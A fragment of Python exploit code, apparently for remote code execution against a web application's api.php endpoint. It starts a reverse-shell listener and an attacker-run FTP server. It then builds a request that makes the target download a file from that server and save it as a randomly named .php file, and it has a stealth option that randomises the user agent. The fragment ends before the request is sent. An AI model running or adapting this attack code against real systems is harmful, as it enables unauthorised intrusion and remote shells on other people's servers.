1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
def exploit(target, host, port, lhost, lport, mode, stealth, encode):
listener_thread = None
if mode == "reverse":
listener = Listener(lhost, lport)
listener_thread = threading.Thread(target=listener.start_listener, daemon=False)
listener_thread.start()
time.sleep(1)
server, ftp_dir, remote, user, pwd, cmd_param = start_ftp_server(host, port, lhost, lport, mode, encode)
threading.Thread(target=server.serve_forever, daemon=True).start()
time.sleep(1)
local = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php'
api_url = f"{target.rstrip('/')}/application/api/api.php"
request_data = {
"connectionType": "ftp",
"configuration": {
"host": host,
"username": user,
"initialDirectory": "/",
"password": pwd,
"port": port
},
"actionName": "downloadFile",
"context": {
"remotePath": remote,
"localPath": local
}
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": random.choice(USER_AGENTS) if stealth else "python-requests"
}
|